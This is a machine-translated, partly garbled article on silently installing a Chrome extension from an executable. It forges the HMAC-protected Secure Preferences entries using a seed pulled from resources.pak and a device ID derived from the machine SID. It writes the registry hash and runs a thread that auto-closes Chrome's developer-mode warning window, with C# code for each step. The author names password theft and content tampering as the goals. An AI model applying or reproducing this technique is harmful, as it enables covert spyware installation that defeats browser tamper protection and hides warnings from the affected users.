
美好的一天,亲爱的读者! Chrome正在更新,但是除了--load-extension之外,没有关于如何以编程方式在chrome中安装扩展程序的新文章-但这不是我们的选择,因为我们没有在寻找简单的方法。 今天,我将告诉您使用exe-shnik真正能够获得所有东西的方法:密码,更改内容,如何窃取等。 -但这
不是号召性用语 ,而只是一篇文章供审阅。 所有的汁都切好了。
那么,什么使我们能够在开发人员模式下进行扩展呢? 嗯,就像常规扩展一样,它可以在所有站点上工作,例如,破解密码,实施广告等。 但是开发人员模式下的扩展提供了对另一个功能的访问,这似乎不是很重要,但可能很有用:我们可以访问文件系统。 是的,我们将从exe文件启动此漏洞利用,并且原则上我们实际上并不需要它,但是如果呢?
我们分析文件
因此,对于初学者来说,安装扩展名后您可以看到哪些文件会有所不同,我们可以发现它是%appdata%\ .. \ Local \ Google \ Chrome \ User Data \ <profile> \ Secure Preferences。 让我们复制内容,删除扩展名并恢复副本-bam在这里! 并且扩展再次起作用。 查看ID,您可以看到此键在更改两个值:extensions.settings.id和protection.macs.extensions.settings.id-第一个是设置,第二个是某种哈希。 我们爬上去看看-这是HMAC SHA256。 但是他从中得到什么呢? 让我们进入调试器,附加到chrome并从中加载符号
https://chromium-browser-symsrv.commondatastorage.googleapis.com
强奸铬
哇! 我们找到文件pref_hash_calculator.cc,下载并设置一个中断
std::string PrefHashCalculator::Calculate(const std::string& path, const base::Value* value) const
运算-我们得到seed_-HMAC的密钥,我们还发现它连接了三行,并将结果作为HMACSHA256(device_id + path + value,seed_)。 好的,让我们看看我们的seed_-这是第一个令人烦恼的等待我们的地方:只是“ ChromeRegistryHashStoreValidationSeed”行-问,这是怎么了? 让我们看一下计算结果,将结果的哈希值与沿该路径的文件中的哈希值进行比较-我们很失望,但没有! “注册表”键中的关键字,我们进入注册表,看看-实际上,这是注册表中哈希值的键,我们将需要它。
借记,借记和仅此键在任何地方,怎么了? 现在,让我们看一下HMACSHA256的标准密钥应该保留多长时间? 64个字节,很可能不是行,而是某种字节。 排序? 没有时间! 第一个假设-我们的seed_在chrome的每个版本中都进行了硬编码-让我们尝试对二进制文件和chrome文件中64x个连续字节的所有选项进行排序。 我们编写了一个简单的脚本,大约一个小时后,我们得到了第一个结果:seed_位于resources.pak中。 让我们用谷歌搜索结构。

版本4,我们的是5。出了点问题,也许结构没有改变? 但是没有 经过一些尝试,我们得到的结构如下:4字节版本(5),4字节-编码?(1),2字节-记录数,2字节尚不清楚。 接下来是以下格式的条目:2个字节-ID,4个字节-相对于文件开头的偏移量。 我们正在寻找一个长度为64字节的部分-是的,我们找到了,这是我们的seed_。 现在,让我们编写一个函数以在resources.pak中搜索第4版和第5版文件的seed_:
public static byte[] GetSeed(string resources_pak) {
好的,让我们更改设置,并尝试替换哈希-失败。 在chrome排序中可以发现的第一件事是从值中删除了所有空对象。 好吧,据说-完成了。
再次失败-我们还需要从protection.macs生成相同的HMACSHA256,在这种情况下,必须省略路径。 太好了! 收到了。 但是,我们完全忘记了device_id-在哪里可以得到它? 在旧版本中,这是某些第三方RLZ库中的MachineID。 在新版本中,仅是PC的SID。 如何获得? 对于第二个选项和chrome的新版本:
public static string GetSID() { StringBuilder sb = new StringBuilder(260); int size = 260; GetComputerName(sb, ref size); byte[] Sid = null; uint cbSid = 0; string accountName = sb.ToString(); StringBuilder referencedDomainName = new StringBuilder(); uint cchReferencedDomainName = (uint)referencedDomainName.Capacity; SID_NAME_USE sidUse; int err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) { err = Marshal.GetLastWin32Error(); if (err == ERROR_INSUFFICIENT_BUFFER || err == ERROR_INVALID_FLAGS) { Sid = new byte[cbSid]; referencedDomainName.EnsureCapacity((int)cchReferencedDomainName); err = NO_ERROR; if (!LookupAccountName(null, accountName, Sid, ref cbSid, referencedDomainName, ref cchReferencedDomainName, out sidUse)) err = Marshal.GetLastWin32Error(); } } else {
并且,对于旧版本:
public static string GetMachineId(string sid) { string dir = Environment.SystemDirectory; dir = dir.Substring(0, dir.IndexOf("\\") + 1); StringBuilder volname = new StringBuilder(261); StringBuilder fsname = new StringBuilder(261); uint sernum, maxlen; FileSystemFeature flags; if (!GetVolumeInformation(dir, volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity)) Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error()); byte[] sid_str = (Hash(sid)); byte[] bts = new byte[sid_str.Length + 4]; for (int i = 0; i < sid_str.Length; i++) bts[i] = sid_str[i]; for (int i = 0; i < sizeof(int); i++) { int shift_bits = 8 * (sizeof(int) - i - 1); bts[sid_str.Length + i] = (byte)((sernum >> shift_bits) & 0xFF); } byte b = Crc8.Gen(bts); var sb = new StringBuilder(bts.Length + 1); foreach (byte bb in bts) sb.Append(bb.ToString("X2")); sb.Append(b.ToString("X2")); return sb.ToString(); }
因此,仍然很有趣,可以设置并保存文件,但要关闭镶边:
public static void Install() { string path = Unzip(); string id = ""; string flags = "" + ((1 << 7) | (1 << 2)); string loc = "4"; id = "dblokgoogmhjemeebajnamjdmloolcjd"; string setting = " "; preferences = SetValue(preferences, "extensions.settings." + id, setting.Replace("<", "\\u003C")); preferences = SetValue(preferences, "protection.macs.extensions.settings." + id, ComputeHash(seed_, "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting)))); string abc = "HKEY_CURRENT_USER\\Software\\Google\\Chrome\\PreferenceMACs\\Default\\extensions.settings"; string reg_key = ComputeHash(Encoding.ASCII.GetBytes("ChromeRegistryHashStoreValidationSeed"), "extensions.settings." + id, Serialize(JSONParser.ParseValue(typeof(object), setting))); Registry.SetValue(abc, id, reg_key); string macs = GetSecure("protection.macs"); preferences = SetValue(preferences, "protection.super_mac", ComputeHash(seed_, "", macs)); Process process = new Process();
另外,请注意,现在打开浏览器时,将打开“在开发人员模式下禁用扩展程序”窗口-如何关闭它已经是每个人的选择。 我如何在我后面留下流,这将通过WinAPI关闭此窗口:
public static void CheckWindows() { while (true) { Process[] pcs = Process.GetProcessesByName("chrome"); if (pcs.Length > 0) { List<IntPtr> ww = GetChildWindows(IntPtr.Zero); foreach (var hwnd in ww) { try { uint pidd = 0; GetWindowThreadProcessId(hwnd, out pidd); IntPtr pid = (IntPtr)pidd; IntPtr hProcess = OpenProcess(0x0410, false, pidd); StringBuilder text = new StringBuilder(1000); GetModuleFileNameEx(hProcess, IntPtr.Zero, text, text.Capacity); CloseHandle(hProcess); if (!text.ToString().EndsWith("chrome.exe")) continue; const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); if (GetWindowText(hwnd, Buff, nChars) > 0) { string name = Buff.ToString(); if (names.Contains(name)) SendMessage((IntPtr)hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); } Thread.Sleep(1); } catch { } Thread.Sleep(1); } } else Thread.Sleep(10); } }
祝你好运和道德黑客! 谁知道如何使用Yandex Browser做同样的事情-知道我是否已经尝试捡起来一个星期了,它不起作用,将非常有趣。